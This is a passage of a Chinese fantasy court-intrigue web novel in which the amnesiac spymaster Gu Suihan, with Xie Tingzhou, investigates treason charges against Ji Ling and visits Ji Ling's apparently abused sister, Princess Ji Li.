说到这里,宋安澜的表情复杂了起来,斟酌着词句说:“她说以前不是很喜欢你,因为……因为……唉,我是个粗人,我就直说了吧。”
她纠结半天词句无果,自暴自弃了起来:“你比她早两年入阁,你转白棋的时候她正好刚刚进白棋。你也知道的,你天资比较好,阁中次次小比都是白棋第一,她……不太自在,后来她转去黑棋了,你俩不一起小比,她跟你的关系才好起来。不过现在看你意思……或许她一直是自己闹别扭,没跟你说过?”
顾岁寒顺着她的话想了想,还是毫无印象,诚恳道:“或许吧,但我真的不记得了。”
听见她说“不记得”,宋安澜看着她的脑袋,忧愁地叹了口气,随即听见顾岁寒又开口问:“所以,殿下的意思是……阿泠曾经是白棋,后来转去黑棋了?那不是跟我正相反吗。”
“嗯,对呀,”宋安澜顺口答,“你俩还是表亲呢,阿泠的母亲顾清文是你的姑姑。如果我没猜错的话你俩小时候应该还认识吧。”
这个信息让顾岁寒表情崩裂了:“啊?”
“对啊,你小时候就挺聪颖的。阿泠的父亲对她要求严,老拿你做比,所以长大以后阿泠才总拿你做比较折腾自己吧——当然,后半部分是我猜的,阿泠没直说过。”宋安澜耸耸肩,身上的轻甲随着发出轻微的哗啦声,“不管怎么说,阿泠这件事还请你多多费心了,不管是从哪个角度,我都找不到比你更合适的人拜托了。”
顾岁寒疑道:“那……姬昀将军、谢停舟将军呢?”
这两人一个是苦主兄长,一个是苦主的未婚夫,难道不是都被她一个记忆全无的前“竞争对手”靠谱吗?
“这个,”宋安澜面露为难之色,“姬昀的事我确实要抱歉,他要去西疆查一件更重要的事,所以暂时无法随行;至于谢停舟……说真的,我不是十分信任他。”
“阿泠因为通敌而被诬告,但我相信她不是那样的人。可是落棋阁被袭、阿泠书房中来路不明的信件,这两件事背后必另有主谋。谢将军虽然是阿泠的未婚夫,但两人之间并非两心无间,两人的婚约其实是阿泠用于请他出山镇守西疆的手段之一。”
听到这里顾岁寒没忍住打断:“‘请他出山’?谢停舟……将军身上难道有什么过人之处不成?”
昨天她远远看了一眼,单从身形上看只是一个高挑的普通儒生啊?
问起这个宋安澜的表情就更复杂了,羞-耻和屈辱交替从她脸上闪过:“西疆的滇国……是妖族的地盘。妖族大多身形矮小瘦弱,单纯硬碰硬不足为惧,但是妖族中有很多旁门左道之士,尤擅阵法蛊虫之类。我朝自南退之后为求复国,一直在民间推行体修,阵法心术之类的反而荒废了……”
顾岁寒:“所以就需要一个擅长阵法的人帮忙镇守西疆。”
“对,”宋安澜呻-吟了一声,“谢停舟自小拜师青城山的无有真人。无有真人是当世阵法大师,百年来无人能出其右,但是他早早便已立誓不入红尘。所以阿泠就找到了他的关门弟子谢停舟。”
顾岁寒若有所思地点点头。
偌大一个国家,曾以修道为尊,如今却因亡国之危而推行武备到举国上下找不出一个好使的阵法术士……确实很难说是好是坏。
“但是这个无有大师,”宋安澜强调了一下“但是”,“据传言他曾有一个北周的爱人,这就是我不信任谢停舟的原因。当然我也不是给他定了罪,他毕竟是镇西军的副将,我相信阿昀的眼光不会有大问题。我只是提醒你,此次宋礼虽然指派他协助你,你也要多多提防。”
“是。”
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顾岁寒应了下来。之后两人就没再说什么闲话,镇北军中有人来找宋安澜,军机要务不方便说与外人听,顾岁寒自觉地埋头吃饭。
宋安澜在北地驻军久了,饮食习惯也随着走,简单一道炒青菜里加了致死量的盐巴,杀得菜盘里都是水。顾岁寒虽然受伤之后味觉不甚灵敏,但也吃不惯这重口,所以一味地吃干馒头,几口下去就饱得差不多,匆匆告辞了。
走在侯府路上,她本来想回房休息休息,但想了想脚步又拐向了缩地阵。侯府里直通落棋阁的缩地阵是她常住侯府后宋安澜特意为她设的,开阵的口诀也只告诉了她一个。有这份真心在,顾岁寒很难扔下南都的事一走了之,那不如速战速决,把人情还完了再作打算。
过缩地阵时有一种被人从后面猛推了一把的感觉,出来时顾岁寒踉跄了一下才站稳。北周奇袭一事之后,落棋阁就从原址搬来了现在这个小院,院子本身的风格跟定北侯府很像,但是这个院子的地基上叠了空间法阵,所以显得格外大。正值早课,几片空地上都有人在练武,见她过来,众人纷纷放下手中武器行礼。
不远处的一个小院门外,一个小厮打扮的少年见她过来,眼睛一亮,屁颠屁颠地赶上前来:“执棋!执棋!我们家侍棋找您!”
落棋阁的人都没有用小厮的习惯,所以这侍棋必然就是文士出身的谢停舟。虽然宋安澜丑话在前,她却对这温文儒雅的谢停舟没什么坏印象,更何况此番查案,他是必然要合作的搭档之一,不如早试试深浅,于是施施然地跟着小厮进了院门。
一进院门,一股水汽就铺面而来。这小院地势微微下陷,借了外面大院里的活水造了一口小小的瀑布,水声泠泠作响。顾岁寒正感慨修道的就是有品味,就见那小厮停下脚步,手引向前:“执棋大人,我家公子平日这时应该在画符。公子画符时不喜我吵闹打扰,还请大人自行前去,贺云先告退了。”说罢垂手立于一旁,显然是不会再向前带的意思。
不让自家小厮打扰,却让我一个外人来找,这是什么道理?顾岁寒一头雾水,顺着廊道一路向前,竹林深处有一处小亭,亭中人背对着她席地而坐,一身缟素,垂手提气落笔,笔势缓慢而沉静。
顾岁寒虽记忆所剩不多,但是做白棋的敏感还在,认人几乎是过目不忘,对谢停舟背影自然也不陌生。她停在了十步之外,担心自己贸然上前打断谢停舟画符时的那股气劲,让他功亏一篑。没想到对方似乎是听到了她的脚步,画完那笔后就将笔架到了一旁的笔山上,转过身站起来来行了一礼:“顾执棋安好。”
随后一手揽袖,另一手平摊,掌心向上,示意了一下对面的竹席,很明显是邀请她坐下来长谈的意思。顾岁寒顺着他的手坐了下来,对方一挥手,桌上的笔墨纸砚便自动归纳至一边。他又从旁边取来一套茶具,布好后为她上茶。
顾岁寒就这样看他忙来忙去,并没有上手帮忙,反而是闲聊般开口:“谢侍棋好雅兴,方才画什么符呢?”
“只是平安符,没什么用处,时常练练修身养性,让自己不至于手生罢了。”说这话时谢停舟微微前倾为她上茶,棕褐色的茶水随着他的动作从玉色的壶嘴流出。注意到她的眼神,谢停舟微微一顿:“——在下脸上有什么东西吗?执棋一直盯着看。”
其实她是在看他的手。不过顾岁寒没解释,随口道:“谢侍棋生得好看。”
这是实话,谢停舟眼似平湖,鼻若悬胆,脸色白净,手也很修长,虽然说不上潘安宋玉之貌,但也长得赏心悦目。没想到被她这么夸,谢停舟脸色微微发红:“在下,在下……执棋谬赞,在下只是能堪堪入目罢了,执棋用茶,这茶是在下师尊赠予在下的,滋味甚美。”
顾岁寒拿过茶盏,浅浅品了一口。她对品茶也不甚了解,不过这茶回甘悠远,比宋安澜那个粗人府上的大叶子茶强出不少,于是赞叹道:“好茶。”
她喝茶时,谢停舟也在观察她。他出山时顾岁寒已经出师好几年,成了一个神出鬼没的间谍,所以他对她的了解完全来自姬泠。
他至今都记得那个冬夜,他们俩并肩坐在房顶上,面前是一片不见边际的雪原,回头可以远远看见青州府的瞭望塔。天地间一片白茫茫,隐隐有定北军巡逻的声音传来。
姬泠抱着酒壶,面色微红,眼神却很清醒。她看着前方,明明视野里什么都没有,她的目光却像穿透了千山万水一样澄澈而惆怅。
她说:“停舟,我感觉,我又被困住了。”
5. 第四章 青玉案 四
那天他刚刚结束了一班巡逻,怀着一颗有点雀跃的心回到了营地,宋安澜却告诉他姬泠已经出去了。失落之下,他打听了一下她出去时大概的方向,就信步走了出去。
不知是心有灵犀还是那天他运气好,没走出去半里地,他就在一处破败的村庄看见了房顶上的她。听见脚步声,她回过头来,见到是他也很吃惊。她没问他为什么过来,而是笑了笑,扬了扬手里的酒壶:“一起来吗?”
鬼迷心窍似的,他浑浑噩噩地上了房顶,坐到了她旁边。那天她穿着阁里统一派给黑棋的黛青色便衣,头发长得有点长,扎成马尾后还能到半腰。他在房顶上走独木桥似的歪歪扭扭,差点一脚踩到她垂在后面的头发。
这一脚把姬泠逗笑了,反而让他不好意思起来。他赌气似的用肩膀轻轻顶了她一下:“怎么一个人跑出来了?我还想着回营找你呢。”
“怎么,我要干什么还要和谢将军禀告吗。”姬泠开玩笑似的轻轻打了他肩膀一下,把手中的酒壶放到两人中间,平底的酒壶在半圆弧的瓦片上稳稳立住了,“来尝一点吗?用北地的果酱加水兑的酒,不怎么醉人。我今晚还有事,不能多饮。”
她的语气不对。谢停舟微微侧身看着她的脸,问:“怎么了?你平时不喝酒的。”
“没怎么,”她别开脸去,“阁里有点事情,不打紧。我只是去界碑那边逛了一圈,看了看大结界,和父亲母亲聊了聊。”
大结界是伫立在盛周之间的边界线上的一片结界,从东到西蜿蜒数千里。这结界能过人,但是不能过“气”。
周朝多魔修,魔修依靠人心中的恶念修炼。人无完人,所以魔修的修炼速度往往远远快于需要清心寡欲、破立自身的盛朝修士。不仅如此,魔修修炼时会产生一种“浊气”,“浊气”会使盛朝修士修炼时不再心如明镜,修炼大打折扣,时间长了还会影响平民百姓的健康。
盛朝南退之后,急需休养生息,所以建立结界筛除北朝浊气迫在眉睫。那时谢停舟的师父无有大师还没有归隐。他带着自己的几个弟子勘探山川,最终画下了大结界的阵型。
这阵型由数个小阵组成,小阵利用山川灵气自然运转。但最后合阵时无有大师却犯了难——有几处小阵之间彼此相距太远,用草木灵气链接过于勉强。落阵的吉时迫在眉睫,无有大师没有办法,就返回朝中找先皇宋云起说明了难处。
先皇听说之后,忙召集手下的几位将领和谋士商量对策,这其中就有姬泠的父母。这对伉俪在宋云起还是个皇子时就与他交情颇深,在宋云起麾下征战十数年。听闻了这件事,姬父提出,前朝曾有修士生祭阵法来稳固阵法的先例,不如如今就让他夫妻二人一试。
“其实我至今都太明白他们二人是怎么想的。”姬泠深吸了一口气,“当时他俩说完要生祭阵法的话,今上就立马阻拦了。他俩居然私下联系了无有大师,当夜就奔赴边境以身饲阵,抛下了我和我兄长,两个不到十岁的孩子。”
“我实在无法理解这种堪称着了魔一般的献身。”
谢停舟不知道怎么安慰她,只好微微拢住了她的后背。
“不过我现在好像也能明白了一点了。”姬泠摇了摇头,“小时候他俩对我要求严苛。我胎里弱,据说生下来跟个瘦猴似的,他俩也没因为这对我宽容半分,说什么人生于天地,当报于家国,文治武功没让我落下过。”
“我那么大一点,知道什么家国。”姬泠哼笑了一下,说不好是嘲讽还是悲伤,“小时候我顺着顾梅臣的路子追,因为他俩说要我以她当榜样,后来我也能上战场了,或许也立下了一些功劳吧,渐渐地觉得似乎也不负他俩的教导了。”
她偏头看向了谢停舟:“不过今天……我忽然有点觉得,这一切都有点没意思。”
她话说得含糊,谢停舟没能完全听懂,但是他知道再追问下去可能就是落棋阁自己的密辛了,所以聪明地没有再追问。他换了个方向问:“为什么没意思?”
这个问题似乎难倒了姬泠。她歪着头想了很久,忽然一撂酒壶大笑起来:“这谁知道呢!可能是以前眼界小吧,心也狭窄,眼睛里老装着那点事不放,我父母,还有顾梅臣,他们的一点小事、一句话就够我纠结好久。今天忽然觉得,这些又算得了什么呢!”
说完她就站起来,跳下了屋顶,把不擅武功的谢停舟扔在了后面,背身挥了挥手,声音搁这风雪遥遥传来:“……人生一世,都算不了什么!”
那天她到底想通了什么,谢停舟至今都不知道。他俩虽然订了婚,但毕竟只是他一厢情愿更多,许多事情,他探听起来是没有资格的。但是从两人几次的交谈里,他人的描述中,他听闻这位顾执棋是一个惊才绝艳,功劳赫赫的人。可是如今看来,她脸色苍白,身形瘦削,看起来也并没有传说中那样神通。
他忍不住为姬泠感到不值当——原来只是这样的一个普普通通的、没有三头六臂的人,就可以成为另一个本应意气风发的人大半生的心魔了吗?这也太荒谬了。
顾岁寒不知道对面的人谈笑间心里转过了这么多小九九,只是觉得这人把她叫来又不说事,于是讲茶盏轻轻放下提醒道:“谢侍棋。”
谢停舟这才想起来今天的正事:“今日在下寻执棋过来,是来商量阿泠一案具体应当如何着手的。”
说到这里他觑了一眼顾岁寒的神色,见她并没有什么抗拒的表示,不由得放下一半心来:“解铃还须系铃人,阿泠一事起于姬漓公主的检举,我打算从公主处着手。”
姬泠一案中,正是她的亲妹妹姬漓从她书房中搜出了她和北周往来的证据,所以谢停舟打算从她处入手。
顾岁寒却另有看法:“我回阁中之后曾经查过那些信件,信中往来大多是指挥归雁台如何潜入落棋阁中偷走碎曦剑。而在通信之后不久,总舵就如信中所指挥那般被生生血-洗。假若姬泠阁下实属冤枉,那么通信往来的也必有他人,不然总舵不会如此轻易地被归雁台找到。若真如谢侍棋一般从头查起,那从总舵被血-洗一事起手岂不更好?”
谢停舟摇了摇头:“执棋所言有理,但总舵血-洗一案中,所有亲历者都已然魂归黄泉,无从查起,公主夫妇目前却是双双健在。公主作为阿泠亲妹却指使其夫弹劾阿泠,其背后必有缘由,我定要探究清楚。”
“所以,”顾岁寒抓住了他话里的重点,“你最关心的压根不是姬泠清白与否,因为此事在你心中早有定论。你其实只是记恨那些在你心目中污蔑了她的人,对吗?”
被人点出内心深处的心结,谢停舟却并不慌张,直视着顾岁寒的眼睛道:“或许吧。但我以为这是人之常情,大人。”
顾岁寒看着他的脸,若有所思。本来按宋安澜的意思,她以为姬谢二人只是政治联姻、一时之计,但现在看来至少这位谢停
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舟是动了真情的。
“谢将军,”她换了个称呼,重心微微前移,“我要提醒您,查案子最忌讳的就是心里有私情。在你看来公主检举亲人或许可恶,但是从此处着手查案或许并不明智。公主偷出的信上笔迹私印均无破绽,如今你再去问,结果和几个月前先皇问到的可能也并无不同。”
“……”谢停舟不吱声了,显然也意识到了这个问题。良久他泄了气般地松了肩膀,但表面上的礼仪还是没落下,拱手行礼道:“执棋所言极是,在下受教,是在下莽撞了。”
“……不过,”他一转话头,“在下还是想去公主府上一趟。公主性格软弱,偷信一事或许另有缘由。执棋慧眼如炬,定能看出些端倪。而且假如真如执棋所说,落棋阁中的叛徒另有其人,那经手过信件的公主说不定有别的线索。”
……这人为姬泠报仇的欲-望简直堪称百折不挠。顾岁寒被逗笑了:“侍棋与姬泠情深义重,在下佩服。”
这话里似乎有些不开心了。谢停舟敏锐地意识到这一点,仔细想想才发现自己话里话外全然把自己这新上司忘在了一边,忙补充道:“此案中真正的细作若能查清,落棋阁中的隐患亦能排除。执棋统管全阁,此后阁中上下一心,对执棋自然有利无害。”
“嗯哼,”顾岁寒从鼻子里哼了一声,歪头看着对面快要伏到桌子上的谢停舟,“但我从北周回来后百病缠身,对阁中诸事也并不像侍棋想的那样上心。说不定过些日子我就找陛下请辞,找个山清水秀的地方安度余生。”
“执棋此言差矣,”谢停舟仿佛早就准备好了应对之词,“在下虽未曾和执棋共事过,但执棋自病中苏醒后,一月内就回到阁中重新掌事,说明执棋对阁中并不像执棋所说那般毫无感情,执棋万万不要说气话。”
……这叫什么气话,我怎么不知道自己生气了。顾岁寒被气笑了。但是谢停舟说得没错,她确实对落棋阁有感情,不然昨晚也不至于辗转反侧这么久。
虽然她忘记了很多事,但对这个地方的依恋好像刻入灵魂般,让她在醒来后回来的第一天就感到了本能的熟悉。
听说幼鸟在出生后的第一个秋天时就能准确地迁徙到族群万万年以来越冬的山林,她对落棋阁或许也是同理。
“好,我答应你。”她说,“我会以落棋阁执棋的名义,给姬漓府上递拜帖。”
不过这里她犯了一个错误。
不同于宋安澜和姬昀——姬昀住在宋安澜的定北侯府上,姬漓事实上在她夫君韩玉青的尚书府。
“啊,为什么?”听到这个消息,顾岁寒停下了写拜帖的手,疑道,“本朝惯例,公主出降后不是在宫外另辟公主府吗?”
在一旁的蒋奚挠头:“对啊,但是姬漓公主不是正经公主,她是父母牺牲后被先帝认下做义女的,只是有公主封号而已,没有实权的。”
“父母牺牲……”顾岁寒喃喃道,心中模模糊糊有了印象,“——她父母是祭大结界牺牲的,对吗?”
“对对,”蒋奚喜笑颜开,“难得有件事您记得了。那二位祭阵后,先帝心善,怜她兄妹三人孤弱,所以一同接入了宫中,给姬昀将军封了个世袭的侯位,将姬泠姬漓二人封作了公主。那时姬漓公主还是个话都说不明白的小娃娃呢。”
“这样——”顾岁寒若有所思,“你给我多讲讲这几位的事吧,这样我上门拜访心中好也有数。”
6. 第五章 青玉案 五
“公主家……的事?”蒋奚嘴一瘪,十分为难的样子。顾岁寒一挑眉:“怎么,我记得阁里不是有记录每位朝臣家中状况的册子吗,没有姬漓家的?”
“哦哦,那倒不是。执棋你相信我,我每本专门的册子背得都清清楚楚,但是姬漓公主家里吧,这情况实在是有点特殊。”
顾岁寒闻言诧异道:“这有什么特殊的?韩玉青不举吗?”
她本意是想开个玩笑,但显然对方没有体会到她的意思,只是正色道:“执棋你不要开这种玩笑。不是您猜的原因,姬漓是姬泠执棋的妹妹,也是姬大将军的亲女儿,所以无论是首晟执棋还是姬泠执棋都指示过少盯姬漓公主家里的事,不要拿她当一般臣属似的盯。”
“哦,这样。”顾岁寒若有所思,“也正因如此,你们对姬漓从姬泠房中偷信一事毫无防备,也就被韩玉青的弹劾打得猝不及防。”
“嗯……可以这么说,是属下们疏忽了,”蒋奚面上露出为难来。可紧接着,她就意识到顾岁寒话里的深意,惊惶道,“执棋您是怀疑姬漓公主吗?不会的不会的,姬漓公主平时与人为善,尝尝在府外亲自施粥,百姓中名望颇高。而且她和姬泠执棋的关系很好,她们姊妹经常抵足而眠,她不会坑害姬泠执棋的!”
“我没说是她啊,你急什么,”姬泠莫名其妙地看了她一眼,“更何况你刚刚说的这些也证明不了什么,与人和善可能是伪饰,关系好也可能是为了背后递刀,你作为白棋,为什么会这么轻信于人?”
“我,我……”蒋奚涨红了脸,显然被顾岁寒过于直白的话语打击得不轻。她嗫嚅半天,顾岁寒也没什么耐心了:“算了,蒋奚,日后多盯盯姬漓府上吧。倘若她真没什么异样,再放松不迟。”
“可,可是,”蒋奚有点惶然,“真的不可能是她的!执棋,您去她府上拜会时就能知道了。那韩玉青人面兽心,对公主多有打压,有时甚至辅以拳脚。这事就算是韩玉青干的,也不会是公主啊!”
“什么?”顾岁寒本来都打算走了,闻言停住了脚步,“……等等,就算韩玉青人高马壮,公主的身份摆在那里。就算韩玉青不惧她在军中的兄长和姐姐,姬大将军祭阵的功勋放在那里,他敢这么对待忠烈女,不怕被唾沫星子淹了吗?”
“没有,”蒋奚颓然道,“其实朝中不少人都暗中赞叹韩尚书驯妻有道。之前也有很多臣子上书参过韩尚书,先皇宠爱姬漓自然不能坐视不管,当场就要剥了韩玉青的官身叫两人和离,结果圣旨下来的前一-夜公主亲自入宫,跪求先皇收回成命,说自己心许韩玉青不改。姬小将军和姬泠执棋先后都去劝过,但是公主就是铁了心不改。”
“这……这……”千言万语在顾岁寒的舌尖滚了一圈,最后只剩一句,“这也太荒唐了!”
“就是说啊,执棋,”蒋奚一摊手,“姬泠执棋还在阁中时我见过几次公主,好像是来找执棋玩乐的。我远远看着她,都觉得焦急。执棋,您这回去尚书府上拜会看看就知道了。”
顾岁寒和谢停舟二人的拜帖送到韩玉青的尚书府上之后,次日就得到了回应。韩玉青回帖的语气彬彬有礼的。事实上他在朝野中的风评一向不错——这是问过蒋奚之后顾岁寒又去阁中的储藏室查的——他年少成名,十六及第,在状元郎游街时被姬漓看中,随后先帝就为他们俩赐了婚。
之后韩玉青在朝中也是一路高升,撇开他家中事不谈,他入仕十三年以来政绩斐然,几乎毫无污点,同僚们对他的评价也都颇高,夸他外貌“君子如玉”的有,夸他处理政事“如行云流水,议政一针见血”的也有。
但就是这样一个几乎毫无污点的好人,居然会对他的妻子施暴,这件事在外人看来堪称荒谬无比。姬泠看着手上的回帖,越发觉得此事扑朔迷离。
上他人府上拜会肯定不能再用传送阵了,蒋奚支使一个叫小八的白棋男孩套了辆马车驾过来。顾岁寒出院门时就看见那男孩穿着白棋统一的制服,坐在车辕上露着白牙笑,大声道:“执棋大人!小八为您驾车!”
顾岁寒微微点了一下头以示回礼,低着头钻进车帘时发现谢停舟已经坐在里面了。他今天没有穿那套素服,而是换了一套湖蓝色的长袍,在头上戴了白簪子以示戴孝。顾岁寒坐到了他对面,随口寒暄道:“谢将军和姬泠执棋感情很好吗?”
这句话她本意只是起个话头,谢停舟对姬泠用情深的事顾岁寒早已从别人口中听过不少次,谢停舟自己的态度也佐证了这一点。没想到谢停舟似乎将这话当成了某种质疑,硬邦邦地说:“当然!”
话一出口他显然也意识到了自己反应过激了,话音软下来找补道:“……抱歉。我的意思是……其实更多的是我追求阿泠更多。”
“啊,这样。”顾岁寒顺着他的话接道,“看来姬泠执棋应该很有魅力吧。”
谢停舟却没有直接回答,而是纠结了起来:“好像也不是的。”
顾岁寒挑眉:“嗯?”
但是谢停舟却没有再说的意思了。他只是摇了摇头,目光移向了车帘那边,问小八:“大概还要多久?”
“还要一会,大人!”小八活泼的声音顺着风传了进来,“咱们阁在南都东门外面一点,韩尚书的府在西门巷子那里,要穿过一整座南都呢!”
“南都固然小,马车走也要不少时间呢。”顾岁寒感叹道,“还是御剑或者用传送阵比较方便。”
“御剑不行的,南都上空有阵法,御剑禁行。”说完谢停舟又抱歉地笑了一下,“是我多言了,这种事执棋应当知道吧。对了,南都很小吗?我自出生起就在南都了,一直以为南都就是极致的繁华了。”
顾岁寒听他反问,不由得也愣住了。她似乎也未曾见过比南都更大的城池了,但不知为何,南都比北都朝歌小似乎是她下意识的反应般出现在了嘴边。顾岁寒不确定道:“我……应当是去过北都的。”
“北都……是叫朝歌吗?它的城楼似乎就比南都高五六丈,虽然比南都寒冷,但是东市、西市、还有南北两个街坊都比南都宽敞出去许多,禁宫檐牙高啄,与南都临时建的行宫也大不相同。或许……我还做白棋时曾去过?”
“这样,”谢停舟轻轻叹了口气,“希望我朝能有重返旧都的一天吧,总在南地蜷缩着,这算什么事呢。”
之后两人便没有再说话了。狭小的车厢里只有马蹄声、车轮声、还有小八偶尔哼两声小曲的声音。虽然酷暑已经过去,但是下午这会还是十分燥热,街上也没什么人行走。小八娴熟地挑了几条荫庇的巷子走。
过了大约一炷香时间,小八一拉缰绳停下了车:“两位大人,到韩府啦!”
谢停舟率先下了车,顾岁寒皱眉,跟在后面撩开了车帘。下车时,她习惯性和小八道了声谢,小八愣了一下,笑眼弯弯地受了。
听到她道谢,谢停舟微微侧头,随后似乎才意识到谁是此行的主官,让开道路躬身请她先行。后面小八拴好马,也亦步亦趋地跟上前来。
这谢停舟先是在车上因为姬泠的事小小顶撞过她一回,如今又是没顾上她先下了车。不过两回他都很快反应过来道了歉,
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平时行走坐卧也都颇有风度,说明他应当是知礼数的。那他或许是不习惯和人合作?还是说他其实心里并不服她这个上官呢?
韩府大门就在几丈开外,顾岁寒止住思量,点了一下头以示回礼,随后就走到了前面。此处应是韩府的正门,门右侧迎客柱上挂着楹联,上书“文章华-国正”,左侧对称处挂着“道德润身修”,看字迹和回帖上颇为相像,恐怕是韩玉青自己写的。
见有客,门童立马上前来询问。顾岁寒报上几人名头,门童立马恭敬起来:“我家老爷等诸位许久啦,本来说要前来迎接诸位贵客的,但是怎奈政务缠身,只好让我来迎,请诸位贵客随我来。”
几人随着门童的指引进门。韩府倒是不像镇北侯府那样粉墙黛瓦,反而更像北地大户人家的府邸,多用石砖青瓦。在她印象中,这似乎是南迁之后,一批老士族为表北归之志修的,韩玉青恐怕也是买了其中一座。
几人绕过影壁,还没走几步,就见一个环佩叮当的侍女在一处柱子后探头探脑。见几人进来,她眼神一亮,噔噔噔跑上来行礼道:“见过执棋大人!我家公主心心念念执棋大人已久,特派奴婢在此等候,还请执棋大人赏脸一叙!”
顾岁寒停下来和谢停舟对视了一眼,均看到了彼此眼里的疑惑。她问那侍女:“只请我一人吗?”
“是。”那侍女从始至终低头看着地面,“公主知谢将军日理万机,无暇顾及儿女小事,所以只请执棋一人。”
这算是什么话?谢停舟没时间,她就有时间了吗?
“好,我随你去。”她答应着,转头吩咐小八,“你跟着谢将军。这是在别人府上,不比阁中待你们宽泛,自己行走注意着些。”
小八应了声“是”,蹦蹦跳跳地跟着谢停舟走了。顾岁寒站在原地看着他俩的背影,等到这一高一矮两人消失在下一个影壁后不见了,才在明显有些着急了的侍女的带领下朝另一边拐去。
一路上周围越来越安静,周围的花花草草也多了起来,空气都明显湿润许多。顾岁寒随口问:“你们公主喜欢芍药?”
路两旁的花卉以芍药为多。被问到这问题,那侍女跟没想到似的哆嗦了一下:“不……不是,是尚书大人知道公主喜花,所以时时移植时令花卉过来,最近七夕刚过,芍药正值花期,再加之芍药有相思之意,所以尚书大人命花匠换上芍药。”
顾岁寒微微挑眉。须知种花不是翻好土浇好水就可以了的事,想要花开得像这韩府上这般鲜妍,连种花用的土都颇有讲究。随花期换花换土的花销可不是小数目,想到外面关于韩玉青欺压公主一事,顾岁寒试探问道:“看来韩尚书对殿下颇为上心啊。”
“是……是。”那侍女低着头匆匆地走,“尚书和公主少年夫妻,感情自然深厚。”
她行走间,身后半垂着的发髻随着步伐微微摆荡,露出了后脖颈上胭脂色的伤痕。
穿过一段被芍药环绕着弯弯绕绕的石子小路,侍女推开了一扇门扉,一股更加强烈的香气从门后迸发了出来。自苏醒之后顾岁寒就感觉自己的五感大不如前,朦朦胧胧的跟隔了一层什么似的,不知是不是什么后遗症。但即便是如此,这香气都呛得顾岁寒忍不住打了个喷嚏。
门后的院子里是芍药的花海。成百上千盆芍药在院中静静盛放。雪白的、朱红的、鹅黄的,层层叠叠不同颜色的花瓣几乎叫人目眩神迷。一个珠翠琳琅的背影在这花中微微低头,嗅闻其间的芬芳。听见开门的声音,她微微回过头来,露齿一笑:“大人光顾寒舍,恕本宫未能远迎。”
7. 第六章 青玉案 六
随着那一笑,一阵微风轻轻拂过满园芍药。盛装的公主站起身来,踏着花浪走向顾岁寒。
她实在是太美了。这是顾岁寒脑中唯一的想法。
醒来之后她不是在侯府就是在落棋阁,见过的女子大多素面朝天,舞抢弄棒,那是一种生机勃勃的美。但公主不同,她的美貌好像是一种稀世的珍宝,只可远观不可亵玩,仿佛往那一站就是一整个朝代的歌舞升平。
她明眸皓齿,皮肤就像珍珠一样泛着美丽的光泽,她向顾岁寒缓步走来时,身上的环佩发出有规律的声音,无处不彰显着她的教养与气质。
顾岁寒一下子就理解了韩玉青——假若她也有这样一位妻子,那即便叫她天天给人换花她也愿意。
公主停在了顾岁寒面前。她比顾岁寒矮一点,但直视顾岁寒双眼时那从容而自如的态度叫人有一种在仰视她的错觉。公主微笑道:“想来这位便是顾执棋了,本宫候你许久了。”
顾岁寒懵懵懂懂地跟着公主进了屋,与公主分坐在矮塌两侧,中间放了一张小几。公主素手纤纤为她倒上茶,出口的话却是语出惊人:“本宫知道执棋此行前来是为了查什么。执棋,本宫单独叫你前来是为了提醒你,小心谢将军,他不简单。”
“本宫也是后来回味时才醒悟过来,阿姐书房中通敌信件一事,极有可能是谢将军一手策划的。”
这一点倒是和宋安澜的猜测重合了。顾岁寒心中微微一动,面上不动声色道:“为什么?”
随后,姬漓便将发现信件那日的经历娓娓道来。
三月十七,是姬泠和姬昀二人的生日。
姬泠和姬昀常年呆在军中,难得一起回京中一趟,恰逢兄妹二人的生日,姬昀干脆张罗着在姬泠的公主府上一起办了顿小小的家宴。
酒过三巡,姬漓实在是不胜酒力,在府上的后花园透风。姬泠府上的花园与韩府上的颇为不同,姬漓十分好奇,不知不觉间就绕了一整圈。正当她准备返回席上时,谢停舟忽然找上了她,说姬泠有事找她交代,在府上书房等着她。
姬漓便顺着谢停舟的指引去了书房。谁知到了房中,里面却是空无一人,姬泠压根不在。她原以为姐姐时因为什么支不开身的事走开了,于是准备在侧面的坐席上落座等待。谁知正走向座位时,她看见了主位桌面上墨迹未干的信。
鬼使神差之下,她走向了桌子,歪头读起了信中对当时的她而言堪称惊世骇俗的内容。
“所以公主的意思是,姬泠执棋将她通敌的信大喇喇地放在桌面上?”
“对,这就是我怀疑的地方。”姬漓双手放在桌面上,身体微微前倾,急切地看着顾岁寒,“我不信阿姐是那样的人,她自小就是我的偶像,能文能武,她无所不能!我当时就拿着信去找阿姐,可是,可是——”
她整个人颓然地坐了回去:“我回到宴席上时,阿姐和阿兄都不在了。谢将军说,是京郊大营有急事,宋将军把他俩都叫走了。”
“我不放心把那封信交给谢将军。我和他不熟,阿姐的生日宴是我和他第二次见面。”她喃喃着,像一朵枯萎下去的花,“玉青看我有心事,就问我是怎么回事。我如实说了。玉青,玉青就把我手中的信拿走了,随后,他偷偷去了姐姐的书房。”
最终,韩玉青弹劾姬泠时,举证的信总共有十三封之多。
“谢谢您提醒我,殿下,”顾岁寒伸手轻轻盖住了姬漓放在桌面上的手,那手背上满是冷汗。被抚摸时,姬漓下意识地想往后缩,但被顾岁寒安抚性地拉住了,“——但是殿下,我不得不提醒您,在您说的这一系列事中,谢将军看起来并没有嫌疑,他最多只是给您指了一条通往姬泠殿下书房的路而已。非要说的话,您夫君只是去了一下书房便摸出十二封信之多,反倒更奇怪吧。”
顾岁寒这里只是随口一提。小公主说的整件事情中,非要说最可疑的其实是那封明目张胆的通敌信。她对姬泠的印象所剩无几,所以不做评价,但是能干到落棋阁执棋这个位置上,姬泠绝对不会是一个傻瓜,哪怕她真的叛了国,也绝不会干出这么没戒心的事情。
假如非要查的话,其实查谁在姬漓前进过公主府的书房更合适——只不过如今已过去将近一年半了,想查恐怕也查不到了。
谁知姬漓听了这话,却是剧烈地一哆嗦:“玉青,玉青他不会的!我,我……”
她几乎是痛苦地蜷缩了起来,被顾岁寒压着的那只手也抽了回去,和另一只手神经质地绞在了一起。顾岁寒没想到自己随口一句话就引起这么大的反应,联想起之前外界那些关于他们夫妻之间关系不睦的传言,不由得试探道:“公主,您……怎么了吗?韩尚书是有什么不妥吗?”
“不……不,没有,”三言两语的功夫,姬漓却像是突然找到了什么主心骨似的,深吸了两口气,慢慢平静了下来,“我知道外界常常有一些流言蜚语,但是您也知道,市井中的人,说什么都有可能。玉青他其实待我很好,执棋不必担忧了。今天就先聊这些吧,我还要照顾新来的那批芍药呢。不过我觉得我和执棋很投缘,不如改天再叙。”
这便是送客的意思了。顾岁寒本以为自己撬开了这悬案的一条缝隙,却没想到临门一脚出了岔子。但对方身份摆在这里,她也不好再深问,只好告辞。
